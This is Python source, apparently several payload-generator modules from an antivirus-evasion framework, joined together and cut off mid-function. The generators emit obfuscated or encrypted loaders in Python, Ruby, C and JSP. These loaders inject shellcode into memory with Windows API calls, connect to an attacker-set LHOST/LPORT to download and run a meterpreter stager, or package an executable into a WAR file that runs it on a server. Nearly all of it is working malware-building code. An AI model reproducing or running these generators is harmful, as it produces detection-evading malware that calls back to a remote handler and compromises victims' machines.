'.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # randomize all of the variable names used shellCodeName = evasion_helpers.randomString() socketName = evasion_helpers.randomString() getDataMethodName = evasion_helpers.randomString() fdBufName = evasion_helpers.randomString() rcvStringName = evasion_helpers.randomString() rcvCStringName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() tempShellcodeName = evasion_helpers.randomString() shellcodeBufName = evasion_helpers.randomString() fpName = evasion_helpers.randomString() tempCBuffer = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n" # How I'm tracking the number of nested tabs needed # to make the payload num_tabs_required = 0 payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # socket and shellcode variables that need to be kept global payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (shellCodeName,socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payload_code += '\t' * num_tabs_required + "def %s():\n" %(getDataMethodName) payload_code += '\t' * num_tabs_required + "\ttry:\n" payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" %(socketName) # build the socket and connect to the handler payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" %(socketName,self.required_options["LHOST"][0],self.required_options["LPORT"][0]) # pack the underlying socket file descriptor into a c structure payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack('<i', %s.fileno())\n" % (fdBufName,socketName) # unpack the length of the payload, received as a 4 byte array from the handler payload_code += '\t' * num_tabs_required + "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" %(socketName) payload_code += '\t' * num_tabs_required + "\t\t%s = b\" \"\n" % (rcvStringName) # receive ALL of the payload .dll data payload_code += '\t' * num_tabs_required + "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (rcvStringName, rcvStringName, socketName) payload_code += '\t' * num_tabs_required + "\t\t" + rcvCStringName + " = " + randctypes + ".create_string_buffer(%s, len(%s))\n" % (rcvStringName,rcvStringName) # prepend a little assembly magic to push the socket fd into the edi register payload_code += '\t' * num_tabs_required + "\t\t%s[0] = binascii.unhexlify('BF')\n" %(rcvCStringName) # copy the socket fd in payload_code += '\t' * num_tabs_required + "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % (rcvCStringName, fdBufName) payload_code += '\t' * num_tabs_required + "\t\treturn %s\n" % (rcvCStringName) payload_code += '\t' * num_tabs_required + "\texcept: return None\n" # build the method that injects the .dll into memory payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName,tempShellcodeName) payload_code += '\t' * num_tabs_required + "\tif %s != None:\n" %(tempShellcodeName) payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(shellcodeBufName,tempShellcodeName) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": # allocate enough virtual memory to stuff the .dll in payload_code += "\t\t" + fpName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + shellcodeBufName + "))," + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" # virtual lock to prevent the memory from paging out to disk payload_code += "\t\t" + tempCBuffer + " = (" + randctypes + ".c_char * len(" + shellcodeBufName + ")).from_buffer(" + shellcodeBufName + ")\n" # copy the .dll into the allocated memory payload_code += "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + fpName + "), " + tempCBuffer + ", " + randctypes + ".c_int(len(" + shellcodeBufName + ")))\n" # kick the thread off to execute the .dll payload_code += "\t\tht = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + fpName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" # wait for the .dll execution to finish payload_code += "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(ht)," + randctypes + ".c_int(-1))\n" # Assume HEAP Injection else: HeapVar = evasion_helpers.randomString() handleName = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + shellcodeBufName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + "\t\t" + fpName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + shellcodeBufName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + tempCBuffer + ' = (' + randctypes + '.c_char * len(' + shellcodeBufName + ')).from_buffer(' + shellcodeBufName + ')\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + fpName + '),' + tempCBuffer + ',' + randctypes + '.c_int(len(' + shellcodeBufName + ')))\n' payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + fpName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' # download the stager payload_code += '\t' * num_tabs_required + "%s = %s()\n" %(shellCodeName, getDataMethodName) # inject what we grabbed payload_code += '\t' * num_tabs_required + "%s(%s)\n" % (injectMethodName, shellCodeName) if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # Random letter substition variables encode_with_this = random.choice(self.hex_letters) decode_with_this = random.choice(self.non_hex_letters) # Generate Random Variable Names subbed_shellcode_variable_name = evasion_helpers.randomString() ShellcodeVariableName = evasion_helpers.randomString() rand_decoded_letter = evasion_helpers.randomString() rand_correct_letter = evasion_helpers.randomString() rand_sub_scheme = evasion_helpers.randomString() randctypes = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_ht = evasion_helpers.randomString() rand_virtual_protect = evasion_helpers.randomString() # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = Shellcode.encode('unicode_escape') Shellcode = Shellcode.decode('ascii') Shellcode = Shellcode.replace(encode_with_this, decode_with_this).replace('\\', '\\\\') payload_code, num_tabs_required = gamemaker.senecas_games(self) # Add in the letter switching code payload_code += '\t' * num_tabs_required + 'import codecs\n' payload_code += '\t' * num_tabs_required + rand_decoded_letter + ' = b\'%s\'\n' % decode_with_this payload_code += '\t' * num_tabs_required + rand_correct_letter + ' = b\'%s\'\n' % encode_with_this payload_code += '\t' * num_tabs_required + rand_sub_scheme + ' = bytes.maketrans(' + rand_decoded_letter + ', ' + rand_correct_letter + ')\n' payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ' = b\'' + Shellcode.replace( '\\\\', '\\') + '\'\n' payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += '\t' * num_tabs_required + subbed_shellcode_variable_name + ', _ = codecs.escape_decode(' + subbed_shellcode_variable_name + ')\n' if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + subbed_shellcode_variable_name + ',' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')))\n' payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' elif self.required_options["INJECT_METHOD"][0].lower() == "heap": HeapVar = evasion_helpers.randomString() # Create Payload File payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + subbed_shellcode_variable_name + ')))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + subbed_shellcode_variable_name + ',' + randctypes + '.c_int(len(' + subbed_shellcode_variable_name + ')))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): # Generate the variable names randctypes = evasion_helpers.randomString() ShellcodeVariableName = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_ht = evasion_helpers.randomString() RandEncShellCodePayload = evasion_helpers.randomString() RandCipherObject = evasion_helpers.randomString() rand_virtual_protect = evasion_helpers.randomString() # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = Shellcode.encode('latin-1') Shellcode = Shellcode.decode('unicode_escape') payload_code, num_tabs_required = gamemaker.senecas_games(self) # encrypt the shellcode and get our randomized key encoded_ciphertext, encryption_key, iv_value = encryption.aes_encryption(Shellcode) encoded_ciphertext = encoded_ciphertext.decode('ascii') if self.required_options["INJECT_METHOD"][0].lower() == "virtual": # Create Payload code payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n' payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' elif self.required_options["INJECT_METHOD"][0].lower() == "heap": HeapVar = evasion_helpers.randomString() # Create Payload code payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n' payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n' payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): payload_code = "require 'rubygems'\n" payload_code += "require 'win32/api'\n" payload_code += "include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return
def generate(self): # Set up all our variables var_hexpath = evasion_helpers.randomString() var_exepath = evasion_helpers.randomString() var_data = evasion_helpers.randomString() var_inputstream = evasion_helpers.randomString() var_outputstream = evasion_helpers.randomString() var_numbytes = evasion_helpers.randomString() var_bytearray = evasion_helpers.randomString() var_bytes = evasion_helpers.randomString() var_counter = evasion_helpers.randomString() var_char1 = evasion_helpers.randomString() var_char2 = evasion_helpers.randomString() var_comb = evasion_helpers.randomString() var_exe = evasion_helpers.randomString() var_hexfile = evasion_helpers.randomString() var_proc = evasion_helpers.randomString() var_name = evasion_helpers.randomString() var_payload = evasion_helpers.randomString() random_war_name = evasion_helpers.randomString() # Variables for path to our executable input and war output ORIGINAL_EXE = self.required_options["ORIGINAL_EXE"][0] war_file = settings.PAYLOAD_COMPILED_PATH + random_war_name + ".war" try: # read in the executable with open(ORIGINAL_EXE, 'rb') as orig_binary: raw = orig_binary.read() txt_exe = hexlify(raw) txt_payload_file = open(var_hexfile + ".txt", 'wb') txt_payload_file.write(txt_exe) txt_payload_file.close() except IOError: print( helpers.color("\n [!] ORIGINAL_EXE file \"" + ORIGINAL_EXE + "\" not found\n", warning=True)) return "" # Set up our JSP files used for triggering the payload within the war file jsp_payload = "<%@ page import=\"java.io.*\" %>\n" jsp_payload += "<%\n" jsp_payload += "String " + var_hexpath + " = application.getRealPath(\"/\") + \"" + var_hexfile + ".txt\";\n" jsp_payload += "String " + var_exepath + " = System.getProperty(\"java.io.tmpdir\") + \"/" + var_exe + "\";\n" jsp_payload += "String " + var_data + " = \"\";\n" jsp_payload += "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jsp_payload += var_exepath + " = " + var_exepath + ".concat(\".exe\");\n" jsp_payload += "}\n" jsp_payload += "FileInputStream " + var_inputstream + " = new FileInputStream(" + var_hexpath + ");\n" jsp_payload += "FileOutputStream " + var_outputstream + " = new FileOutputStream(" + var_exepath + ");\n" jsp_payload += "int " + var_numbytes + " = " + var_inputstream + ".available();\n" jsp_payload += "byte " + var_bytearray + "[] = new byte[" + var_numbytes + "];\n" jsp_payload += var_inputstream + ".read(" + var_bytearray + ");\n" jsp_payload += var_inputstream + ".close();\n" jsp_payload += "byte[] " + var_bytes + " = new byte[" + var_numbytes + "/2];\n" jsp_payload += "for (int " + var_counter + " = 0; " + var_counter + " < " + var_numbytes + "; " + var_counter + " += 2)\n" jsp_payload += "{\n" jsp_payload += "char " + var_char1 + " = (char) " + var_bytearray + "[" + var_counter + "];\n" jsp_payload += "char " + var_char2 + " = (char) " + var_bytearray + "[" + var_counter + " + 1];\n" jsp_payload += "int " + var_comb + " = Character.digit(" + var_char1 + ", 16) & 0xff;\n" jsp_payload += var_comb + " <<= 4;\n" jsp_payload += var_comb + " += Character.digit(" + var_char2 + ", 16) & 0xff;\n" jsp_payload += var_bytes + "[" + var_counter + "/2] = (byte)" + var_comb + ";\n" jsp_payload += "}\n" jsp_payload += var_outputstream + ".write(" + var_bytes + ");\n" jsp_payload += var_outputstream + ".close();\n" jsp_payload += "Process " + var_proc + " = Runtime.getRuntime().exec(" + var_exepath + ");\n" jsp_payload += "%>\n" # Write out the jsp code to file with open(var_payload + ".jsp", 'w') as jsp_file_out: jsp_file_out.write(jsp_payload) # MANIFEST.MF file contents, and write it out to disk manifest_file = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" with open("MANIFEST.MF", 'w') as man_file: man_file.write(manifest_file) # web.xml file contents web_xml_contents = "<?xml version=\"1.0\"?>\n" web_xml_contents += "<!DOCTYPE web-app PUBLIC\n" web_xml_contents += "\"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n" web_xml_contents += "\"http://java.sun.com/dtd/web-app_2_3.dtd\">\n" web_xml_contents += "<web-app>\n" web_xml_contents += "<servlet>\n" web_xml_contents += "<servlet-name>" + var_name + "</servlet-name>\n" web_xml_contents += "<jsp-file>/" + var_payload + ".jsp</jsp-file>\n" web_xml_contents += "</servlet>\n" web_xml_contents += "</web-app>\n" # Write the web.xml file to disk with open("web.xml", 'w') as xml_file: xml_file.write(web_xml_contents) # Create the directories needed for the war file, and move the needed files into them os.system("mkdir -p META-INF") os.system("mkdir -p WEB-INF") os.system("mv -f web.xml WEB-INF/") os.system("mv -f MANIFEST.MF META-INF/") # Make the war file by zipping everything together myZipFile = zipfile.ZipFile(war_file, 'w') myZipFile.write(var_payload + ".jsp", var_payload + ".jsp", zipfile.ZIP_DEFLATED) myZipFile.write(var_hexfile + ".txt", var_hexfile + ".txt", zipfile.ZIP_DEFLATED) myZipFile.write("META-INF/MANIFEST.MF", "META-INF/MANIFEST.MF", zipfile.ZIP_DEFLATED) myZipFile.write("WEB-INF/web.xml", "WEB-INF/web.xml", zipfile.ZIP_DEFLATED) myZipFile.close() with open(war_file, 'rb') as f: payload_code = f.read() # Clean up the individual files, you can always unzip the war to see them again os.system("rm -rf WEB-INF") os.system("rm -rf META-INF") os.system("rm -f " + var_payload + ".jsp") os.system("rm -f " + var_hexfile + ".txt") os.system("rm -f " + war_file) # Return self.payload_source_code = payload_code return
def generate(self): sumvalue_name = evasion_helpers.randomString() checksum_name = evasion_helpers.randomString() winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>" ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = evasion_helpers.randomString(50) randName1 = evasion_helpers.randomString() randVar1 = evasion_helpers.randomString() randName2 = evasion_helpers.randomString() randVar2 = evasion_helpers.randomString() randVar3 = evasion_helpers.randomString() randName3 = evasion_helpers.randomString() randVar4 = evasion_helpers.randomString() randVar5 = evasion_helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" % (randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[25])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, evasion_helpers.randomString(50), randVar3, evasion_helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, evasion_helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>" ] for x in range(1, random.randint(1, 7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #real - service related headers (check the stub) hStatusName = evasion_helpers.randomString() serviceHeaders = [ "SERVICE_STATUS ServiceStatus;", "SERVICE_STATUS_HANDLE %s;" % (hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);" ] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = evasion_helpers.randomString() retval_name = evasion_helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" % (retval_name) code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" % ( string_arg_name, retval_name, string_arg_name) code += "return (%s %% 256);}\n" % (retval_name) # build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, evasion_helpers.obfuscateNum( 2, 4), evasion_helpers.obfuscateNum(2, 4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % ( wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build the reverse_http uri checksum function randchars = ''.join( random.sample( "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", 62)) characters_name = evasion_helpers.randomString() string_var_name = evasion_helpers.randomString() code += "char* %s(){" % (checksum_name) code += "srand (time(NULL));int i;" code += "char %s[] = \"%s\";" % (characters_name, randchars) code += "char* %s = malloc(5); %s[4] = 0;" % (string_var_name, string_var_name) code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" % ( string_var_name, characters_name, characters_name) code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % ( characters_name, string_var_name, characters_name) code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % ( sumvalue_name, string_var_name, string_var_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = evasion_helpers.randomString() sock_name = 